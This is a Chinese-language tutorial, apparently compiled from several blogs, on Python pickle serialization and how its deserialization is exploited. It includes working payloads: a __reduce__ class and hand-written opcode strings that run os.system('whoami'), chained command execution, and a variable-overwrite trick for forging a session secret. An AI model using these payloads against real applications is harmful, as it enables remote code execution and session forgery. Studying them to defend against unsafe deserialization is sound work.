https://www.cnblogs.com/chenhuabin/p/10502096.html

import pickle
 
dic= {'a':1, 'b':2, 'c':3}
 
p_str = pickle.dumps(dic)
 
print(p_str)
 
new_dic = pickle.loads(p_str)
 
print(new_dic)
 

将内存中不容易储存的格式用固定的二进制方式表达出来并可逆的转化回去,调试可看

一般的数据类型可以使用 JSON 模块来序列化,但是如果是 python 特殊拥有的类型则需要用到 pickle

https://blog.51cto.com/u_16213419/7541752

__reduce__ 是一个特殊方法,用于对对象进行序列化和反序列化。它允许我们自定义对象在序列化和反序列化过程中的行为。

https://tttang.com/archive/1782/

https://www.cnblogs.com/F12-blog/p/17982311

pickletools 模块可以将 opcode 指令转变成易读的形式:

import pickletools opcode = '''cos system (S'whoami' tR. ''' print(pickletools.dis(opcode.encode()))

总结 Pickle 的几个特点:

  • 非图灵完备的栈语言,没有运算、循环、条件分支等结构
  • 可以实现的操作
    • 构造 Python 内置基础类型(strintfloatlisttupledict
    • dictlist 成员的赋值(无法直接取值)
    • 对象成员的赋值(无法直接取值)
    • callable 对象 的调用
    • 通过 _Pickler.find_class 导入模块中的某对象,find_class 的第一个参数可以是模块或包,本质是 getattr(__import__(module), name) find_class 的限制
      • GLOBLE:c INST:i STACK_GLOBAL:\x93 会调用 find_class
    • 版本保持向下兼容,通过 opcode 头解析版本
    • 0 号 protocol 使用 \n 作操作数的分割

通过项目 https://github.com/eddieivan01/pker 来将 python 语句用 AST 抽象语法树 转化为虚拟机代码

dill


什么是 Pickle?

很简单,就是一个 python 的序列化模块,方便对象的传输与存储。但是 pickle 的灵活度很高,可以通过对 opcode 的编写来实现代码执行的效果,由此引发一系列的安全问题

Pickle 使用

举个简单的例子

# 输出结果 # b'\x80\x04\x954\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x03F12\x94ub.' # <__main__.Person object at 0x00000297918FBF10> # 18 # F12
import pickle
 
 
class Person():
    def __init__(self):
        self.age = 18
        self.name = 'F12'
 
 
p = Person()
opcode = pickle.dumps(p)
print(opcode)
person = pickle.loads(opcode)
print(person)
print(person.age)
print(person.name)

pickle.dumps (p) 将对象序列化,同理 pickle.loads (opcode) 就是反序列化的过程

注意

值得注意的是在不同平台环境下 pickle 生成的 opcode 是不同的,例如在 windows 和 linux 环境下相同的对象,dumps 下来的 opcode 就不一样

魔术方法__reduce__

object.__reduce__ 是 object 类的一个魔术方法,我们可以通过重写该方法,让该方法在反序列化时按我们的重写的方式执行,python 要求该方法返回一个字符串或元组,如果返回元组 (callable, (param1, param2, )) ,那么每当反序列化时,就会调用 callable (param1, param2, ),我们可以控制 callable 和它的参数来实现代码执行

Pickle 反序列化漏洞利用

import pickle import os class Exp(): def __reduce__(self): return (os.system, ('whoami', )) e = Exp() opcode = pickle.dumps(e) pickle.loads(opcode) # 输出结果 sevydhodungnwjp\hacker

很明显在反序列化的过程时执行了 os.system (‘whoami’),这是 pickle 反序列化漏洞的最简单的利用方式,要掌握更加高级的利用手法,我们还得继续深入学习 pickle

Pickle 的工作原理

opcode 的解析依靠 Pickle Virtual Machine (PVM)进行 PVM 由以下三部分组成

  • 指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回。
  • stack:由 Python 的 list 实现,被用来临时存储数据、参数以及对象。
  • memo:由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。

当前用于 pickling 的协议共有 5 种。使用的协议版本越高,读取生成的 pickle 所需的 Python 版本就要越新。

  • v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python。
  • v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
  • v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进,请参阅 PEP 307
  • v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持,且无法被 Python 2. x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。
  • v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 3154

pickle 协议是向前兼容的,v0 版本的字符串可以直接交给 pickle.loads (),不用担心引发什么意外。下面我们以 v0 版本为例,介绍一下 opcode 指令

常用 opcode 指令介绍

opcode描述具体写法栈上的变化memo 上的变化
c获取一个全局对象或 import 一个模块(注:会调用 import 语句,能够引入新的包)会加入 self. stackc[module]\n[instance]\n获得的对象入栈
o寻找栈中的上一个 MARK,以之间的第一个数据(必须为函数)为 callable,第二个到第 n 个数据为参数,执行该函数(或实例化一个对象)o这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i相当于 c 和 o 的组合,先获取一个全局函数,然后寻找栈中的上一个 MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)i[module]\n[callable]\n这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N实例化一个 NoneN获得的对象入栈
S实例化一个字符串对象S’xxx’\n(也可以使用双引号、\’ 等 python 字符串形式)获得的对象入栈
V实例化一个 UNICODE 字符串对象Vxxx\n获得的对象入栈
I实例化一个 int 对象Ixxx\n获得的对象入栈
F实例化一个 float 对象Fx. x\n获得的对象入栈
R选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数R函数和参数出栈,函数的返回值入栈
.程序结束,栈顶的一个元素作为 pickle.loads () 的返回值.
(向栈中压入一个 MARK 标记(MARK 标记入栈
t寻找栈中的上一个 MARK,并组合之间的数据为元组tMARK 标记以及被组合的数据出栈,获得的对象入栈
)向栈中直接压入一个空元组)空元组入栈
l寻找栈中的上一个 MARK,并组合之间的数据为列表lMARK 标记以及被组合的数据出栈,获得的对象入栈
]向栈中直接压入一个空列表]空列表入栈
d寻找栈中的上一个 MARK,并组合之间的数据为字典(数据必须有偶数个,即呈 key-value 对)dMARK 标记以及被组合的数据出栈,获得的对象入栈
}向栈中直接压入一个空字典}空字典入栈
p将栈顶对象储存至 memo_n(记忆栈)pn\n对象被储存
g将 memo_n 的对象压栈gn\n对象被压栈
0丢弃栈顶对象(self. stack)0栈顶对象被丢弃
b使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置b栈上第一个元素出栈
s将栈的第一个和第二个对象作为 key-value 对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为 key)中s第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u寻找栈中的上一个 MARK,组合之间的数据(数据必须有偶数个,即呈 key-value 对)并全部添加或更新到该 MARK 之前的一个元素(必须为字典)中uMARK 标记以及被组合的数据出栈,字典被更新
a将栈的第一个元素 append 到第二个元素 (列表) 中a栈顶元素出栈,第二个元素(列表)被更新
e寻找栈中的上一个 MARK,组合之间的数据并 extends 到该 MARK 之前的一个元素(必须为列表)中eMARK 标记以及被组合的数据出栈,列表被更新

更多的 opcode 指令可以查看 pickle. py 获取

MARK           = b'('   # push special markobject on stack
STOP           = b'.'   # every pickle ends with STOP
POP            = b'0'   # discard topmost stack item
POP_MARK       = b'1'   # discard stack top through topmost markobject
DUP            = b'2'   # duplicate top stack item
FLOAT          = b'F'   # push float object; decimal string argument
INT            = b'I'   # push integer or bool; decimal string argument
BININT         = b'J'   # push four-byte signed int
BININT1        = b'K'   # push 1-byte unsigned int
LONG           = b'L'   # push long; decimal string argument
BININT2        = b'M'   # push 2-byte unsigned int
NONE           = b'N'   # push None
PERSID         = b'P'   # push persistent object; id is taken from string arg
BINPERSID      = b'Q'   #  "       "         "  ;  "  "   "     "  stack
REDUCE         = b'R'   # apply callable to argtuple, both on stack
STRING         = b'S'   # push string; NL-terminated string argument
BINSTRING      = b'T'   # push string; counted binary string argument
SHORT_BINSTRING= b'U'   #  "     "   ;    "      "       "      " < 256 bytes
UNICODE        = b'V'   # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE     = b'X'   #   "     "       "  ; counted UTF-8 string argument
APPEND         = b'a'   # append stack top to list below it
BUILD          = b'b'   # call __setstate__ or __dict__.update()
GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args
DICT           = b'd'   # build a dict from stack items
EMPTY_DICT     = b'}'   # push empty dict
APPENDS        = b'e'   # extend list on stack by topmost stack slice
GET            = b'g'   # push item from memo on stack; index is string arg
BINGET         = b'h'   #   "    "    "    "   "   "  ;   "    " 1-byte arg
INST           = b'i'   # build & push class instance
LONG_BINGET    = b'j'   # push item from memo on stack; index is 4-byte arg
LIST           = b'l'   # build list from topmost stack items
EMPTY_LIST     = b']'   # push empty list
OBJ            = b'o'   # build & push class instance
PUT            = b'p'   # store stack top in memo; index is string arg
BINPUT         = b'q'   #   "     "    "   "   " ;   "    " 1-byte arg
LONG_BINPUT    = b'r'   #   "     "    "   "   " ;   "    " 4-byte arg
SETITEM        = b's'   # add key+value pair to dict
TUPLE          = b't'   # build tuple from topmost stack items
EMPTY_TUPLE    = b')'   # push empty tuple
SETITEMS       = b'u'   # modify dict by adding topmost key+value pairs
BINFLOAT       = b'G'   # push float; arg is 8-byte float encoding
 
TRUE           = b'I01\n'  # not an opcode; see INT docs in pickletools.py
FALSE          = b'I00\n'  # not an opcode; see INT docs in pickletools.py

PVM 工作流程

嫖的动图 PVM 解析 str image

PVM 解析__reduce__: image

手写 opcode

举个简单的 opcode 例子:

opcode = '''cos # c[moudle]\n[instance]\n system # 前两句相当于导入os模块,调用system (S'whoami' # ( 压入MARK标记 , S'whoami' 压入 whoami字符串 tR. # t 寻找栈中的上一个MARK,并组合之间的数据为元组,也就是('whoami') ''' # R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数,即os.system('whoami') # . 程序结束,栈顶的一个元素作为pickle.loads()的返回值,返回值就是os.system('whoami')的执行结果

程序:

import pickle opcode = '''cos system (S'whoami' tR. ''' pickle.loads(opcode.encode()) # 运行结果 sevydhodungnwjp\hacker

pickletools 模块可以将 opcode 指令转变成易读的形式:

import pickletools opcode = '''cos system (S'whoami' tR. ''' print(pickletools.dis(opcode.encode()))

多命令执行

在上面描述的修改 reduce 来达到命令执行的效果,一次只能执行一条命令,想要多命令执行就只能通过手写 opcode 来实现,只要不碰到 . 导致程序结束返回就能一直执行命令

import pickle opcode = '''cos system (S'whoami' tRcos system (S'whoami' tR. ''' pickle.loads(opcode.encode()) # 运行结果 sevydhodungnwjp\hacker sevydhodungnwjp\hacker

R,i,o 介绍

在 opcode 里能执行函数的字节码就是 R,i,o

  • R
opcode=b'''cos system (S'whoami' tR. '''
  • i : 相当于 c 和 o 的组合,先获取一个全局函数,然后寻找栈中的上一个 MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
opcode=b'''(S'whoami' ios system .'''
  • o : 寻找栈中的上一个 MARK,以之间的第一个数据(必须为函数)为 callable,第二个到第 n 个数据为参数,执行该函数(或实例化一个对象)
opcode=b'''(cos system S'whoami' o.'''

实例化对象

实例化对象也是一种变相的函数执行,因为 python 不需要 new 一个对象(bushi

import pickle class Person(): def __init__(self, age, name): self.age = age self.name = name opcode = '''c__main__ Person (I18 S'F12' tR. ''' p = pickle.loads(opcode.encode()) print(p.age) print(p.name) # 运行结果 18 F12

变量覆盖

也是一个 nb 的利用手段,通常 python 框架使用了 session 时都会有个 secret,我们可以通过覆盖掉这个 secret 来伪造 session

secret = "F13"
import pickle import secret print("一开始:"+ secret.secret) opcode = b'''c__main__ secret (S'secret' S'F12' db. ''' fake = pickle.loads(opcode) print("最后:"+ fake.secret) # 运行结果 一开始:F13 最后:F12

首先通过 c 来获取 main. secret 模块,然后将 MARK 标记压入栈,字符串 secret, F12 压入栈,d 将两个字符串组合成字典也就是{‘secret’: ‘F12’}的形式,由于在 pickle 中,反序列化的数据都是以 key-value 的形式存储的,所有 main. secret 也就是 {‘secret’: ‘F13’},b 执行 dict.update (),也就是{‘secret’: ‘F13’}. update ({‘secret’: ‘F12’}),最终 secret 变成了 F12

Pker 工具介绍

一个方便生成所需要 opcode 代码的工具:https://github.com/eddieivan01/pker 仿 python 语法生成 opcode,使用方法很简单 https://xz.aliyun.com/t/7012